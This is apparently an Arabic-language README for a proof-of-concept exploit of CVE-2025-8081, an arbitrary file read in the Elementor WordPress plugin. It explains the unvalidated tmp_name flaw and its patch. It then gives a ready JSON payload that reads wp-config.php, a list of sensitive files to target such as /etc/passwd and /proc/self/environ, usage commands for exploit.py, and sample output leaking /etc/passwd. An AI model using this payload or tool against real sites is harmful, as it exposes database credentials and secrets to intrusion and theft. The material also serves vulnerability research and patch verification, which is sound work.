
إثبات مفهوم لاستغلال CVE-2025-8081، وهو قراءة ملفات تعسفية في إضافة Elementor لووردبريس، مما يسمح للمسؤولين المُصادَق عليهم بقراءة ملفات حساسة مثل wp-config.php.
ثغرة حرجة لقراءة الملفات التعسفية في إضافة Elementor لووردبريس تسمح للمسؤولين المُصادَق عليهم بقراءة أي ملف يمكن لخادم الويب الوصول إليه، بما في ذلك ملفات الإعدادات الحساسة التي تحتوي على بيانات اعتماد قاعدة البيانات.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2025-8081 |
| النوع | قراءة ملفات تعسفية (CWE-22: اجتياز المسار) |
| درجة CVSS | 4.9 (متوسطة) - التأثير الفعلي: حرج |
| متجه CVSS | AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N |
| الإصدارات المتأثرة | Elementor ≤ 3.30.2 |
| الإصدار المُصلَح | Elementor ≥ 3.30.3 |
| تاريخ الإصدار | 22 يوليو 2025 |
| تاريخ الكشف | 15 أكتوبر 2025 |
wp-config.php يكشف بيانات اعتماد قاعدة البيانات ومفاتيح الأمانتوجد الثغرة في ملف واحد وفي سطر واحد:
elementor/includes/template-library/classes/class-import-images.php
السطر 115 (الإصدار 3.28.3)
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = Utils::file_get_contents( $attachment['tmp_name'] ); // ❌ NO VALIDATION!
}
المشكلة: معامل tmp_name غير مُتحقَّق منه باستخدام is_uploaded_file()، مما يسمح للمهاجم بتحديد مسارات ملفات تعسفية.
if ( isset( $attachment['tmp_name'] ) ) {
// Used when called to import a directly-uploaded file.
$filename = $attachment['name'];
$file_content = false;
// security validation in case the tmp_name has been tampered with
if ( is_uploaded_file( $attachment['tmp_name'] ) ) { // ✅ VALIDATION ADDED!
$file_content = Utils::file_get_contents( $attachment['tmp_name'] );
}
}
الإصلاح: يضيف التصحيح التحقق باستخدام is_uploaded_file() لضمان أن tmp_name يشير إلى ملف مرفوع بشكل شرعي عبر طلب HTTP POST.
{
"content": [{
"id": "s1",
"elType": "section",
"settings": [],
"elements": [{
"id": "c1",
"elType": "column",
"settings": {"_column_size": 100},
"elements": [{
"id": "w1",
"elType": "widget",
"widgetType": "image",
"settings": {
"image": {
"url": "http://x.com/x.jpg",
"id": 1,
"tmp_name": "/var/www/html/wp-config.php",
"name": "leaked_config.txt"
}
},
"elements": []
}]
}]
}],
"version": "0.4",
"type": "page"
}
payload.json)leaked_config.txt وقم بتنزيلهالنتيجة: محتوى wp-config.php مع بيانات اعتماد قاعدة البيانات مكشوف!
| الملف | الوصف | التأثير |
|---|---|---|
/var/www/html/wp-config.php | إعدادات ووردبريس | 🔴 حرج - بيانات اعتماد قاعدة البيانات |
/proc/self/environ | متغيرات البيئة | 🔴 حرج - مفاتيح API وأسرار |
| الملف | الوصف | التأثير |
|---|---|---|
/etc/passwd | مستخدمو النظام | 🟠 عالٍ - تعداد المستخدمين |
/var/www/html/.htaccess | إعدادات خادم الويب | 🟠 عالٍ - كشف الإعدادات |
/var/log/apache2/access.log | سجلات Apache | 🟡 متوسط - كشف المعلومات |
python3 exploit.py -t https://target.com -u admin -p password123
Required Arguments:
-t, --target URL Target WordPress URL (e.g., https://target.com)
-u, --user USERNAME WordPress admin username
-p, --password PASS WordPress admin password
Optional Arguments:
-f, --file PATH File to read (default: /var/www/html/wp-config.php)
-o, --output FILE Output filename (default: auto-generated)
--insecure, -k Disable SSL certificate verification
-v, --verbose Enable verbose output for debugging
-h, --help Show help message
# Basic exploitation (reads wp-config.php with default payload)
python3 exploit.py -t http://target.com -u admin -p password123
# Custom target file
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd
# With HTTPS and self-signed certificate
python3 exploit.py -t https://target.com -u admin -p password123 --insecure
# Verbose mode with custom output
python3 exploit.py -t http://target.com -u admin -p password123 \
-f /etc/passwd -o users.txt -v
# From OrbStack/Docker targeting host machine
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v
Kali:~$ python3 exploit.py -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd
======================================================================
CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File: /etc/passwd
======================================================================
[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes
======================================================================
EXPLOITATION SUCCESSFUL!
======================================================================
File URL: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to: leaked_passwd.txt
--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================
للاستخدام التعليمي والاختبار المصرح به فقط
تُقدَّم هذه الأداة لأغراض البحث الأمني واختبار الاختراق فقط. استخدام هذه الأداة لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني.
تقع على عاتق المستخدم النهائي مسؤولية الامتثال لجميع القوانين المحلية والولائية والاتحادية المعمول بها.
باستخدامك لهذه الأداة، فإنك توافق على استخدامها بشكل قانوني وأخلاقي.
آخر تحديث: 17 أكتوبر 2025